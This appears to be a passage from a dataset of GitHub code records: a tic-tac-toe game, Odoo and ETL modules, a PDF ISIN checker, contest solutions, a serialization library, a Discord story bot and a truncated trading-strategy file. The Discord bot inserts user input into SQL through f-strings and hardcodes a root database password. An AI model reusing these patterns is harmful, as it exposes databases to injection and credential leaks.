         #refresh no console\n\t\tos.system('cls' if os.name == 'nt' else 'clear')       #serve para limpar o console no windows e linux\n\t\tself.board()                                           #imprime o tabileiro novamente\n\n\tdef contabilizar_bola(self,tile):                          #contabiliza jogada player1\n\t\tif tile in self.disponiveis:                           #checa na lista de disponiveis se o quadrado esta disponivel\n\t\t\tself.disponiveis.remove(tile)                      #remove da lista dos disponiveis\n\t\t\ttile = int(tile)                                   #necessario pois o tile eh uma string\n\t\t\tfor x in self.sets_p1:                             #percorrer a lista de combinacoes possiveis onde x tambem eh uma lista(combinacao)\n\t\t\t\tif tile in x:                                  #previne que o passo abaixo nao gere um erro\n\t\t\t\t\tx.remove(tile)                             #remove o quadrado de todas as combinacoes onde ele aparece. Ex: tile = 1, x = [1,2,3] -----> x = [2,3] \n\t\t\treturn True                                        #retorna True para sinalizar que tudo ocorreu certo\n\t\telse: return False                                     #caso nao esteja disponivel retorna False\n\n\tdef contabilizar_x(self,tile):                             #contabiliza jogada layer2, fazendo igual ao player1\n\t\tif tile in self.disponiveis:\n\t\t\tself.disponiveis.remove(tile)\n\t\t\ttile = int(tile)\n\t\t\tfor x in self.sets_p2:\n\t\t\t\tif tile in x:\n\t\t\t\t\tx.remove(tile)\n\t\t\treturn True\n\t\telse: return False\n\n\tdef casa_invalida(self):                                   #sera usada caso a funcao de contabilizar retorne False\n\t\tself.turno = -self.turno                               #faz com que posteriormente o turno permaneca do mesmo jogador, para que ele possa selecionar um quadrado valido\n\t\tprint(\"Casa invalida\")\n\n\tdef traduzir(self,entrada,player):                         #traduz a entrada de uma string para o atributo da classe que representa as casas, chama as funcoes para contabilizar direto\n\t\tsinal = \"\"\n\t\tcontabilizar = None\n\t\tif player == 1:\n\t\t\tsinal = \"O\"                                        #como convencionado, player1 eh bola\n\t\t\tcontabilizar = self.contabilizar_bola \n\t\telse:\n\t\t\tsinal = \"X\"                                        #como convencionado, player2 eh x\n\t\t\tcontabilizar = self.contabilizar_x\n\n\t\tif entrada == \"1\": \n\t\t\tif contabilizar(self.t1) == True:                  #checa se foi possivel contabilizar, se sim:\n\t\t\t\tself.t1 = sinal                                #troca a string do numero para o sinal do jogador (O ou X)\n\t\t\t\tself.refresh() \n\t\t\telse:                                              #caso a casa ja tenha sido usada\n\t\t\t\tself.casa_invalida()\n\t\telif entrada == \"2\": \n\t\t\tif contabilizar(self.t2) == True:\n\t\t\t\tself.t2 = sinal\n\t\t\t\tself.refresh()\n\t\t\telse: \n\t\t\t\tself.casa_invalida()\n\t\telif entrada == \"3\": \n\t\t\tif contabilizar(self.t3) == True:\n\t\t\t\tself.t3 = sinal\n\t\t\t\tself.refresh()\n\t\t\telse: \n\t\t\t\tself.casa_invalida()\n\t\telif entrada == \"4\": \n\t\t\tif contabilizar(self.t4) == True:\n\t\t\t\tself.t4 = sinal\n\t\t\t\tself.refresh()\n\t\t\telse: \n\t\t\t\tself.casa_invalida()\n\t\telif entrada == \"5\": \n\t\t\tif contabilizar(self.t5) == True:\n\t\t\t\tself.t5 = sinal\n\t\t\t\tself.refresh()\n\t\t\telse: \n\t\t\t\tself.casa_invalida()\n\t\telif entrada == \"6\": \n\t\t\tif contabilizar(self.t6) == True:\n\t\t\t\tself.t6 = sinal\n\t\t\t\tself.refresh()\n\t\t\telse: \n\t\t\t\tself.casa_invalida()\n\t\telif entrada == \"7\": \n\t\t\tif contabilizar(self.t7) == True:\n\t\t\t\tself.t7 = sinal\n\t\t\t\tself.refresh()\n\t\t\telse: \n\t\t\t\tself.casa_invalida()\n\t\telif entrada == \"8\": \n\t\t\tif contabilizar(self.t8) == True:\n\t\t\t\tself.t8 = sinal\n\t\t\t\tself.refresh()\n\t\t\telse: \n\t\t\t\tself.casa_invalida()\n\t\telif entrada == \"9\": \n\t\t\tif contabilizar(self.t9) == True:\n\t\t\t\tself.t9 = sinal\n\t\t\t\tself.refresh()\n\t\t\telse: \n\t\t\t\tself.casa_invalida()\n\t\telse: \n\t\t\tself.casa_invalida()\n\t\t\treturn False \n\n\tdef escolher_p1(self,entrada):                             #recebe do usuario a string da casa que ele quer jogar, nesse caso do player1\n\t\tself.traduzir(entrada,1) \n\t\tself.turno = -self.turno                               #inverte o turno, possibilitando o outro player jogar\n\n\tdef escolher_p2(self,entrada):\n\t\tself.traduzir(entrada,2)\n\t\tself.turno = -self.turno\n\n\tdef p1_ganhou(self):                                       #checa se alguma lista no conjunto de lista do player esta vazia\n\t\tfor x in self.sets_p1:\n\t\t\t\tif x == []:\n\t\t\t\t\treturn True                                #retorna True, caso ache alguma lista vazia, significa que o player ganhou\n\t\treturn False\n\n\tdef p2_ganhou(self):\n\t\tfor x in self.sets_p2:\n\t\t\t\tif x == []:\n\t\t\t\t\treturn True\n\t\treturn False\n\t\t\n\tdef jogar(self,entrada):\n\n\t\tif self.disponiveis == [] and self.p1_ganhou() == False and self.p2_ganhou() == False:  #primeiro checa se nao ha nenhuma possibilidade de jogada e nenhum player ganhou-\n\t\t\tprint(\"\\nDEU VELHA!\")                                                      #-ou seja, deu velha\n\t\t\treturn 3\n\n\t\tif self.turno == 1:                                                               #caso Velha().turno == 1, significa que eh a vez do player1 de jogar                                                \n\t\t\tself.escolher_p1(entrada)                                                     #chama o metodo de escolher passando como parametro a entrada que foi imediatamente recebida\n\t\t\tif self.p1_ganhou() == True:                                                  #checa toda vez se o player ganhou\n\t\t\t\tprint(\"\\nP1 GANHOU!\")\n\t\t\t\treturn 1\n\t\t\treturn False\n\t\telse:                                                                          #caso Velha().turno != 1, significa que eh a vez do player2, e o processo se repete\n\t\t\tself.escolher_p2(entrada)\n\t\t\tif self.p2_ganhou() == True:\n\t\t\t\tprint(\"\\nP2 GANHOU!\")\n\t\t\t\treturn 2\n\t\t\treturn False\n\n\n","repo_name":"eduardosm7/tcp_udp_python","sub_path":"tic-tac-toe-udp/velha.py","file_name":"velha.py","file_ext":"py","file_size_in_byte":7473,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"32366787817","text":"from odoo import api, fields, models\n\nfrom odoo.addons.base.models.ir_sequence import _predict_nextval\n\n\nclass IrSequenceDateRangePreview(models.Model):\n    _inherit = \"ir.sequence.date_range\"\n\n    preview = fields.Char(\"Preview\", compute=\"_compute_preview\")\n\n    @api.onchange(\"date_to\", \"date_from\", \"number_next_actual\")\n    def _compute_preview(self):\n        for record in self:\n            record.preview = record.with_context(\n                ir_sequence_date_range=record.date_from,\n                ir_sequence_date_range_end=record.date_to,\n            ).sequence_id.get_next_char(record.number_next_actual)\n\n    def onchange_sequence_id(self):\n        for record in self:\n            record._compute_preview()\n\n    def _get_number_next_actual(self):\n        \"\"\"This override method adds support for onchange's pseudo-record.\"\"\"\n        if all(isinstance(seq.id, int) for seq in self):\n            super(IrSequenceDateRangePreview, self)._get_number_next_actual()\n            return\n\n        for seq in self:\n            if seq.sequence_id.implementation != \"standard\":\n                seq.number_next_actual = seq.number_next\n            else:\n                seq_id = \"%03d_%03d\" % (seq.sequence_id._origin.id, seq._origin.id)\n                seq.number_next_actual = _predict_nextval(self, seq_id)\n","repo_name":"OCA/l10n-thailand","sub_path":"l10n_th_sequence_preview/models/ir_sequence_date_range.py","file_name":"ir_sequence_date_range.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"18"}
{"seq_id":"41332587499","text":"import string\nimport pandas as pd\nimport os\nimport re\nimport PyPDF4\nimport base64\nfrom datetime import datetime, timedelta\nimport textract\nimport sys\nfrom io import StringIO\nfrom pdfminer.converter import TextConverter\nfrom pdfminer.layout import LAParams\nfrom pdfminer.pdfdocument import PDFDocument\nfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\nfrom pdfminer.pdfpage import PDFPage\nfrom pdfminer.pdfparser import PDFParser\nsys.path.append('../..')\nfile_path = r'D:\\\\sriram\\\\agrud\\\\prospectus_and_factsheet\\\\'\ndata_file = file_path+'Global _MF_Factsheet_Prospectus - FINAL GLOBAL MF LIST.csv'\noutput_file = file_path+'scraped_data_links.csv'\npdf_files = r'D:\\\\sriram\\\\agrud\\\\prospectus_and_factsheet\\\\factsheet\\\\'\n\n\ndef approach2(file,isin):\n    f_name = file.split('\\\\')[-1]\n    master_id = f_name.split('_')[0]\n    encoder = 'latin-1'        \n    pdf_obj = PyPDF4.PdfFileReader(file,'rb')\n    NumPages = pdf_obj.getNumPages()\n    for i in range(0, NumPages):\n        PageObj = pdf_obj.getPage(i)\n        try:\n            pdf_text = PageObj.extractText() \n            if re.search(str(isin),pdf_text):\n                # print(f\"Isin {isin} Found in pdf {f_name.replace('.pdf','')}\")\n                return 1\n            else:\n                print(f\"Isin {isin} Not Found in pdf {f_name.replace('.pdf','')}\")\n                return 0\n        except:\n            pass\n\ndef approach1(file,isin):\n    f_name = file.split('\\\\')[-1]\n    master_id = f_name.split('_')[0]  \n    string = isin\n    output_string = StringIO()\n    rsrcmgr = PDFResourceManager(caching=True)\n    text_converter = TextConverter(rsrcmgr, output_string, laparams=LAParams())\n    interpreter = PDFPageInterpreter(rsrcmgr, text_converter)\n    with open(file, 'rb') as in_file:\n        for page in PDFPage.get_pages(in_file):\n            try:\n                interpreter.process_page(page)\n            except Exception as e:\n                pass\n    pdf_text = output_string.getvalue()\n    if string in pdf_text:\n        # print(f\"Isin {isin} Found in pdf {f_name.replace('.pdf','')}\")\n        return 1\n    else:\n        # print(f\"Isin {isin} Not Found in pdf {f_name.replace('.pdf','')}\")\n        return 0\n\n\ndef start_check():\n    date = datetime.today()-timedelta(days=1)\n    date2 = date.strftime('%Y%m%d')\n    new_df = pd.DataFrame()\n    out_df = pd.read_csv(output_file)\n    data_df = pd.read_csv(data_file,encoding=\"utf-8\")\n    data_df = data_df.drop_duplicates(subset=['master_id'])\n    for i,row in data_df.iterrows():\n        isin = row[3]\n        master_id = row[0]\n        file_name = f'{master_id}_{date2}'\n        file = pdf_files+file_name+'.pdf'\n        try:\n            flag = approach1(file,isin)\n            if flag == 0:\n                approach2(file,isin)\n            if flag == 1:\n                try:\n                    temp_df = out_df[out_df['master id'].isin([master_id])]\n                    new_df = new_df.append(temp_df,ignore_index=True)\n                except TypeError:\n                    pass\n        except FileNotFoundError:\n            print(f'file {file_name} not found')\n            continue\n    print('---------')\n    new_df.to_csv(output_file,index=False,header=['master id','isin name','factsheet link','prospectus link'])\n    \nstart_check()","repo_name":"sriram143647/agrud_git","sub_path":"prospectus_and_factsheet/other_files/pdf_checker_test.py","file_name":"pdf_checker_test.py","file_ext":"py","file_size_in_byte":3276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"36209649285","text":"from itertools import *\nfrom collections import *\nfrom heapq import *\nfrom bisect import *\nfrom copy import *\nfrom array import *\nimport math\nimport sys\nsys.setrecursionlimit(1<<20)\nINF = float('inf')\n\nn,P = map(int,input().split())\nX = []\ndef f(L,R):\n    if not L:\n        z = P-R[-1]\n        ans1 = len(R)*z\n        for i,r in enumerate(R[:-1]):\n            ans1 += R[-1]-r-1-i\n        return ans1\n    if not R:\n        z = L[0]-1\n        ans2 = len(L)*z\n        for i,l in enumerate(L[1:]):\n            ans2 += l-L[0]-i-1\n        return ans2\n    rr = 0\n    ll = 0\n    for i,r in enumerate(R[:-1]):\n        rr += R[-1]-r-1-i\n    for i,l in enumerate(L[1:]):\n        ll += l-L[0]-1-i\n    return max(ll + len(L)*(L[0]-R[-1]-1), rr + len(R)*(L[0]-R[-1])-1)\nL = []\nR = []\nans = 0\nfor i in range(n):\n    c,d = input().split()\n    c = int(c)\n    if d=='L':\n        L.append(c)\n    else:\n        if L:\n            ans += f(L,R)\n            L = []\n            R = []\n        R.append(c)\n\nif R or L:\n    ans += f(L,R)\nprint(ans)\n\n\n\n\nn,l = map(int,input().split())\nx = []\nd = []\nfor i in range(n):\n    a,b = input().split()\n    x.append(int(a))\n    d.append(b)\n \n \ndef f(L, R):\n    if len(L)==0:\n        z = l+1\n    elif len(R)==0:\n        z = 1\n    elif len(L)>=len(R):\n        z = R[-1]+1\n    else:\n        z = L[0]\n    \n    res = 0\n    for i,x  in enumerate(R[::-1]):\n        res+=z-1-i-x\n    for i, x in enumerate(L):\n        res+=x-(z+i)\n    return res\n \nL = []\nR = []\nans = 0\nfor i in range(n):\n    if d[i]==\"L\":\n        L.append(x[i])\n    else:\n        R.append(x[i])\n    if i==n-1:\n        ans += f(L,R)\n        L = []\n        R = []\n    elif d[i]==\"L\" and d[i+1]==\"R\":\n        ans += f(L,R)\n        L = []\n        R = []\nprint(ans)","repo_name":"to24toro/Atcoder","sub_path":"ARC041/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12707385418","text":"from __future__ import annotations\n\nimport logging\nfrom collections.abc import Iterable, Mapping\nfrom contextlib import suppress\nfrom typing import Any, Callable\n\nfrom model_lib import ModelT\nfrom model_lib.constants import (\n    METADATA_DUMP_KEY,\n    METADATA_MODEL_NAME_FIELD,\n    MODEL_DUMP_KEY,\n)\nfrom model_lib.errors import FileFormat\nfrom model_lib.metadata.metadata_dump import dump_metadata\nfrom model_lib.model_dump import registered_types\nfrom model_lib.pydantic_utils import model_json\nfrom model_lib.serialize.json_serialize import dump as _dump_json\nfrom model_lib.serialize.json_serialize import parse as _parse_json\nfrom model_lib.serialize.json_serialize import pretty_dump as _dump_pretty_json\nfrom model_lib.serialize.toml_serialize import add_line_breaks, dump_toml_str\nfrom model_lib.serialize.yaml_serialize import dump_yaml_str\n\nlogger = logging.getLogger(__name__)\n\n\ndef dump_as_toml_str(instance: object, **kwargs) -> str:\n    compact = dump_as_toml_str_compact(instance, **kwargs)\n    return add_line_breaks(compact)\n\n\ndef dump_as_toml_str_compact(instance: object, **kwargs) -> str:\n    # dumps to json and parse 1st to support custom types\n    # and since an error will have a side effect on the instance creating a _TomlObject\n    if isinstance(instance, list):\n        raw: list = dump_as_list(instance)\n    else:\n        raw: dict = dump_as_dict(instance)  # type: ignore\n    return dump_toml_str(raw, **kwargs)\n\n\n_payload_dumpers: dict[FileFormat | str, Callable[[Any], str]] = {\n    FileFormat.json: _dump_json,\n    FileFormat.yaml: dump_yaml_str,\n    FileFormat.yml: dump_yaml_str,\n    FileFormat.pretty_json: _dump_pretty_json,\n    FileFormat.json_pretty: _dump_pretty_json,\n    FileFormat.json_pydantic: model_json,\n    FileFormat.pydantic_json: model_json,\n    FileFormat.toml: dump_as_toml_str,\n    FileFormat.toml_compact: dump_as_toml_str_compact,\n}\n\n\ndef dump(instance: object, format: FileFormat | str) -> str:\n    \"\"\"\n    >>> dump('', \"json\")\n    ''\n    \"\"\"\n    if instance == \"\":\n        #: special case where we would get '\"\"' otherwise\n        return \"\"\n    dumper = _payload_dumpers[format]\n    return dumper(instance)\n\n\ndef dump_as_dict(instance: object) -> dict:\n    safe_instance_payload = _dump_json(instance)\n    return _parse_json(safe_instance_payload)\n\n\ndef dump_as_list(instance: Iterable[ModelT]) -> list:\n    safe_instance_payload = _dump_json(instance)\n    return _parse_json(safe_instance_payload)\n\n\ndef dump_as_type_dict_list(instances: Iterable[ModelT], format: FileFormat) -> str:\n    return dump([{type(instance).__name__: instance} for instance in instances], format)\n\n\ndef dump_as_type_dict(instances: Iterable[ModelT], format: FileFormat) -> str:\n    return dump({type(instance).__name__: instance for instance in instances}, format)\n\n\ndef dump_safe(\n    message: dict | object, format: FileFormat | str = FileFormat.json\n) -> str:\n    try:\n        return dump(message, format)\n    except TypeError as e:\n        # Type is not JSON serializable: TestApp\n        logger.warning(e)\n        safe_types = set(registered_types())\n        safe_types_tuple = tuple(safe_types)\n\n        def is_safe(value: type):\n            return value in safe_types or issubclass(value, safe_types_tuple)\n\n        with suppress(Exception):\n            message_safe = {\n                key: value if is_safe(type(value)) else str(value)\n                for key, value in message.items()  # type: ignore\n            }\n            return dump(message_safe, format=format)\n        # noinspection PyUnreachableCode\n        logger.critical(f\"failed to dump {str(message)}\")\n    except Exception as e:\n        logger.exception(e)\n    return \"\"\n\n\ndef dump_with_metadata(\n    model: object,\n    metadata: Mapping[str, object] | None = None,\n    format: FileFormat | str = FileFormat.json,\n    override_model_name: str = \"\",\n    *,\n    skip_dumpers: bool = False,\n    _model_field=MODEL_DUMP_KEY,\n    _metadata_field=METADATA_DUMP_KEY,\n) -> str:\n    \"\"\"\n    Args:\n        override_model_name: will add a\n    \"\"\"\n    dumped_metadata = dump_metadata(skip_dumpers=skip_dumpers)\n    model_name = override_model_name or type(model).__name__\n    dumped_metadata[METADATA_MODEL_NAME_FIELD] = model_name\n    if metadata:\n        dumped_metadata.update(metadata)\n    return dump({_model_field: model, _metadata_field: dumped_metadata}, format)\n","repo_name":"EspenAlbert/py-libs","sub_path":"model_lib/src/model_lib/serialize/dump.py","file_name":"dump.py","file_ext":"py","file_size_in_byte":4371,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"18208857925","text":"import discord\r\nfrom discord.ext import commands\r\nimport random\r\nimport DNDBotAPI\r\nimport mysql.connector\r\nimport os\r\nimport subprocess\r\nimport json\r\nimport asyncio\r\n\r\n\r\nwith open('config.json') as json_file:\r\n    data = json.load(json_file)\r\n    token = str(data['token'])\r\n    prefix = str(data['prefix'])\r\n\r\n\r\ncnx = mysql.connector.connect(user='root', passwd='1234',\r\n                              host='127.0.0.1',\r\n                              database='discordbot',\r\n                              auth_plugin='mysql_native_password')\r\n\r\ncursor = cnx.cursor()\r\n\r\nclient = commands.Bot(command_prefix = prefix)\r\n\r\nisBotOn = True\r\n\r\ndef rgb_to_hex(rgb):\r\n    return '%02x%02x%02x' % rgb\r\n\r\ndef generate_random_hex_color():\r\n    r = random.randint(0,254)\r\n    g = random.randint(0,254)\r\n    b = random.randint(0,254)\r\n    return int(rgb_to_hex((r, g, b)), 16)\r\n\r\n# -----------------------------------------------------\r\n# - Purpose: Allows the user to create a custom story object\r\n# - Parameters: \r\n# -     ctx = context (aut defined by program)\r\n# -     userstory = the text that the user inputs to create the story to be modified\r\n# -     storyname = the name of the story object\r\n# -----------------------------------------------------\r\n\r\nSTORY_DESCRIPTION = '''This command allows you to create a story with a name and a description. \r\n                       You need to have a changable word. ex: Noun, Adj, Verb'''\r\n\r\nSTORY_HELP = \"Insert a story name and a story draft\" \r\n@client.command(aliases=['story'], description=STORY_DESCRIPTION, help=STORY_HELP)\r\nasync def create_story(ctx, story_name, story_draft):\r\n\r\n    author_id = ctx.message.author.id\r\n    author_avatar = ctx.message.author.avatar_url\r\n    author = str(ctx.message.author)\r\n    noun_count = 0\r\n    verb_count = 0\r\n    adj_count = 0\r\n    can_create_embed = False\r\n    split_draft = story_draft.split()\r\n    embed_color = generate_random_hex_color()\r\n\r\n    for x in (range(0, len(split_draft))):\r\n\r\n        if (split_draft[x].__contains__(\"Noun\")):\r\n            can_create_embed = True\r\n            noun_count += 1\r\n\r\n        elif (split_draft[x].__contains__(\"Adjective\")):\r\n\r\n            can_create_embed = True\r\n            adj_count += 1\r\n\r\n        elif (split_draft[x].__contains__(\"Verb\")):\r\n\r\n            can_create_embed = True\r\n            verb_count += 1\r\n\r\n    if (can_create_embed == True):\r\n        \r\n        #SQL Statements to insert the values into the database\r\n        cursor.execute(f'''INSERT INTO createdstories\r\n            VALUES ('{story_name}', '{story_draft}', '{author}', '{author_id}', '{author_avatar}', '{embed_color}');''')\r\n        cnx.commit()\r\n\r\n        #Starting the embed\r\n        embed=discord.Embed(title=f'Story Name: {story_name}', description=story_draft, color=embed_color)\r\n        embed.set_author(icon_url=author_avatar, name=f'Author: {author}')\r\n        embed.set_footer(text=f\"Nouns: {noun_count}, Adjectives: {adj_count}, Verbs: {verb_count}\")\r\n        await (ctx.send(embed=embed))\r\n\r\n    else:\r\n        await(ctx.send(f'The story: |{story_name}| does not contain a changeable word...'))\r\n        pass\r\n\r\n\r\n# -----------------------------------------------------\r\n# - Purpose: Retrieves the most recent story created in the database\r\n# - Parameters: \r\n# -     ctx = context (aut defined by program)\r\n# -----------------------------------------------------\r\n\r\nLAST_STORY = \"Gets the last story that was created in the Database\"\r\n@client.command(aliases=['last'], description=LAST_STORY)\r\nasync def last_story(ctx):\r\n\r\n    cursor.execute(\"SELECT * FROM createdstories;\")\r\n    story_table = cursor.fetchall()\r\n    total_stories = len(story_table) - 1\r\n\r\n    story_name = story_table[total_stories][0]\r\n    story_draft = story_table[total_stories][1]\r\n    author = story_table[total_stories][2]\r\n    author_id = story_table[total_stories][3]\r\n    author_avatar = story_table[total_stories][4]\r\n    embed_color = int(story_table[total_stories][5])\r\n\r\n    embed = discord.Embed(title=f'Story Name: {story_name}', description=\"Story: \" + story_draft, color=embed_color)\r\n    embed.set_author(icon_url=author_avatar, name=f'Author: {author}')\r\n    embed.set_footer(text=\"The recent recorded story\")\r\n    await (ctx.send(embed=embed))\r\n\r\n\r\n# -----------------------------------------------------\r\n# - Purpose: Lists the current stories\r\n# - Parameters: \r\n# -     ctx = context (aut defined by program)\r\n# -----------------------------------------------------\r\n\r\n@client.command(aliases=['list'], description=\"Gets a list of stories from the database\")\r\nasync def list_stories(ctx):\r\n\r\n    cursor.execute(\"SELECT * FROM createdstories;\")\r\n    story_table = cursor.fetchall()\r\n    total_stories = len(story_table)\r\n\r\n    if (total_stories < 10):\r\n        value = -1\r\n        for x in range(0, total_stories):\r\n            value+=1\r\n            story_name = story_table[value][0]\r\n            story_draft = story_table[value][1]\r\n            author = story_table[value][2]\r\n            author_id = story_table[value][3]\r\n            author_avatar = story_table[value][4]\r\n            embed_color = int(story_table[value][5])\r\n\r\n            embed = discord.Embed(title=f'Story Name: {story_name}', description=\"Story: \" + story_draft, color=embed_color)\r\n            embed.set_author(icon_url=author_avatar, name=f'Author: {author}')\r\n            embed.set_footer(text=f\"{value} story in the list\")\r\n            await (ctx.send(embed=embed))\r\n\r\n    elif (total_stories > 10):\r\n        value = random.randint(0, total_stories-10)\r\n        for x in range(0, 10):\r\n            value+=1\r\n            story_name = story_table[value][0]\r\n            story_draft = story_table[value][1]\r\n            author = story_table[value][2]\r\n            author_id = story_table[value][3]\r\n            author_avatar = story_table[value][4]\r\n            embed_color = int(story_table[value][5])\r\n            \r\n            embed = discord.Embed(title=f'Story Name: {story_name}', description=\"Story: \" + story_draft, color=embed_color)\r\n            embed.set_author(icon_url=author_avatar, name=f'Author: {author}')\r\n            embed.set_footer(text=f\"{value} story in the list\")\r\n            await (ctx.send(embed=embed))\r\n\r\n\r\n\r\n# -----------------------------------------------------\r\n# - Purpose: Allows the user to modify the stories inserted into the database\r\n# - Parameters: \r\n# -     ctx = context (aut defined by program)\r\n# -     story_name = the name of the story\r\n# -----------------------------------------------------\r\n\r\nMODIFY_HELP = \"If your story isn't typed correctly, the story will not be found within the database\"\r\nMODIFY_DESCRIPTION = \"Allows the user to modify the story draft given via the story name\"\r\n\r\n@client.command(aliases=['modify'], description=MODIFY_DESCRIPTION, help=MODIFY_HELP)\r\nasync def modify_story(ctx, story_name):\r\n\r\n        is_valid = False\r\n        valid_drafts = []\r\n\r\n        cursor.execute(\"SELECT StoryName FROM createdstories;\")\r\n        db_drafts = cursor.fetchall()\r\n\r\n        draft_index = 0\r\n        for x in range(0, len(db_drafts)):\r\n            valid_drafts.append(db_drafts[x][0])\r\n            if db_drafts[x][0] == story_name:\r\n                draft_index = x\r\n                break\r\n\r\n\r\n        if valid_drafts.__contains__(story_name):\r\n            await ctx.send(f'{story_name} is considered a valid story name')\r\n            is_valid = True\r\n\r\n        else:\r\n            await ctx.send(f'{story_name} is not considered a valid story name')\r\n            \r\n        \r\n        if (is_valid == True):\r\n            cursor.execute(\"SELECT StoryDraft FROM createdstories;\")\r\n            story_drafts = cursor.fetchall()\r\n            await ctx.send(f'Story description: {story_drafts[draft_index][0]}')\r\n\r\n            splited = story_drafts[draft_index][0].split()\r\n            for x in (range(0, len(splited))):\r\n\r\n                if (splited[x].__contains__(\"Noun\")):\r\n                    splited.remove(\"Noun\")\r\n                    await ctx.send(f'Enter the Noun...')\r\n\r\n                    def check(m):\r\n                        return m.content\r\n\r\n                    try:\r\n                        message = await client.wait_for('message', timeout=10.0, check=check)\r\n                        input = '{.content}'.format(message)\r\n                        print(input)\r\n                        \r\n                    except asyncio.TimeoutError:\r\n                        await ctx.send(\"You took too long...\")\r\n                    else:\r\n                        await ctx.send(f\"You entered: {input}\")\r\n                        splited.insert(x, input)\r\n        \r\n                elif (splited[x].__contains__(\"Adjective\")):\r\n                    splited.remove(\"Adjective\")\r\n                    await ctx.send(f'Enter the Adjective...')\r\n\r\n                    def check(m):\r\n                        return m.content\r\n\r\n                    try:\r\n                        message = await client.wait_for('message', timeout=10.0, check=check)\r\n                        input = '{.content}'.format(message)\r\n                        \r\n                    except asyncio.TimeoutError:\r\n                        await ctx.send(\"You took too long...\")\r\n                    else:\r\n                        await ctx.send(f\"You entered: {input}\")\r\n                        splited.insert(x, input)\r\n\r\n                elif (splited[x].__contains__(\"Verb\")):\r\n                    splited.remove(\"Verb\")\r\n                    await ctx.send(f'Enter the Verb...')\r\n\r\n                    def check(m):\r\n                        return m.content\r\n\r\n                    try:\r\n                        message = await client.wait_for('message', timeout=10.0, check=check)\r\n                        input = '{.content}'.format(message)\r\n                        \r\n                    except asyncio.TimeoutError:\r\n                        await ctx.send(\"You took too long...\")\r\n                    else:\r\n                        await ctx.send(f\"You entered: {input}\")\r\n                        splited.insert(x, input)\r\n                    \r\n        finalized = ' '.join(splited)\r\n        await ctx.send(finalized)\r\n\r\nclient.run(token)","repo_name":"vgfreak95/StoryBot","sub_path":"StoryBot.py","file_name":"StoryBot.py","file_ext":"py","file_size_in_byte":10158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3870337378","text":"from os import listdir\nfrom os.path import isfile, join\nimport os\nimport time\nimport json\n\nimport config\nfrom webclient import WebClient\n\n\nclass Worker:\n\n    EXTRACTED_PATH = config.GENERAL['extracted_path']\n    TRANSFORMED_PATH = config.GENERAL['transformed_path']\n\n    # return a dict with street, city, country, etc, data for a given\n    # latitude/longitude pair\n    def __enrich_data(self, latitude, longitude):\n\n        webclient = WebClient()\n        address = webclient.get_address_by_latlong(latitude, longitude)\n\n        return address\n\n    def __write_transform_file(self, rich_data_list, file_name):\n\n        # write rich data to file\n        with open(self.TRANSFORMED_PATH+file_name, 'w') as f:\n            json.dump(rich_data_list, f)\n\n    # perform transformation logic\n    # read extracted files, enrich with external api data and\n    # write result on file\n    def transform(self, file, proc_index=0):\n\n        work_path = self.EXTRACTED_PATH\n\n        # iter on file lines for get latitudes and longitudes\n        with open(work_path+file) as json_file:\n            file_data = json.load(json_file)\n\n            rich_data_list = []\n            for item in file_data:\n\n                # get lat and long\n                latitude = item['latitude']\n                longitude = item['longitude']\n                timestamp = item['timestamp']\n\n                # call external api for enrich data\n                rich_data = self.__enrich_data(latitude, longitude)\n\n                # append file timestamp to rich_data dict\n                rich_data[\"timestamp\"] = timestamp\n\n                # append rich dict to list of rich data\n                rich_data_list.append(rich_data)\n\n        # write to file\n        self.__write_transform_file(rich_data_list, file)\n\n        return file\n","repo_name":"douglasmoraisdev/python_etl","sub_path":"services/transformer/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12921157036","text":"import random\n\nimport pandas as pd\nimport numpy as np\nimport abc\n\nfrom utils import binsizes, timeframe\nfrom typing import Tuple, Dict\n\n\nclass Data:\n    @abc.abstractmethod\n    def __init__(self):\n        raise NotImplementedError\n\n\nclass Trade:\n    def __init__(self, type, entry, close, take_profit, stop_loss, t_entry):\n        self.type = type\n        self.entry = entry\n        self.close = close\n        self.take_profit = take_profit\n        self.stop_loss = stop_loss\n        self.t_entry = t_entry\n\n\nclass Hyperparameter(object):\n    @abc.abstractmethod\n    def __init__(self, min_value, max_value, value):\n        self.min_value = min_value\n        self.max_value = max_value\n        self.value = value\n\n    def get_min_value(self):\n        return self.min_value\n\n    def get_max_value(self):\n        return self.max_value\n\n    def get_value(self):\n        return self.value\n\n    def set_value(self, value):\n        self.value = value\n\n    def clone(self):\n        return Hyperparameter(self.min_value, self.max_value, self.value)\n\n    def __str__(self):\n        return f'Value: {self.get_value()}'\n\n\nclass DiscreteHyperparameter:\n    def __init__(self, values: list, value):\n        self.values = values\n        self.value = value\n\n    def get_values(self):\n        return self.values\n\n    def clone(self):\n        return DiscreteHyperparameter(self.values, self.get_value())\n\n    def get_value(self):\n        return self.value\n\n    def set_value(self, value):\n        if not value in self.values:\n            return False\n        self.value = value\n\n\nclass Strategy:\n    def __init__(self, df_data, test_balance=1000, risk_per_trade=.1, futures_multiplier=1,\n                 max_trade_time=24 * 60, show_trades=False):\n        self.show_trades = show_trades\n        self.price_data = df_data if isinstance(df_data, list) else [df_data]\n        self.indicators = ['MA', 'EMA', 'BearFractal', 'BullFractal', 'Open', 'Low', 'High',\n                           'Close', 'ATR', 'AR']\n        self.fee = Hyperparameter(0, 0.05, 0.001)\n        self.t_min = [0] * len(self.price_data)\n        self.test_balance = test_balance\n        self.risk_per_trade = risk_per_trade\n        self.futures_multiplier = futures_multiplier\n        self.max_trade_time = max_trade_time\n\n    def set_data(self, df_data):\n        self.price_data = df_data if isinstance(df_data, list) else [df_data]\n\n    def compute_MA(self, n, price_data, name='MA', use_n=True):\n        if use_n:\n            price_data[f'{name}{n}'] = price_data['Close'].rolling(window=n).mean()\n        else:\n            price_data[f'{name}'] = 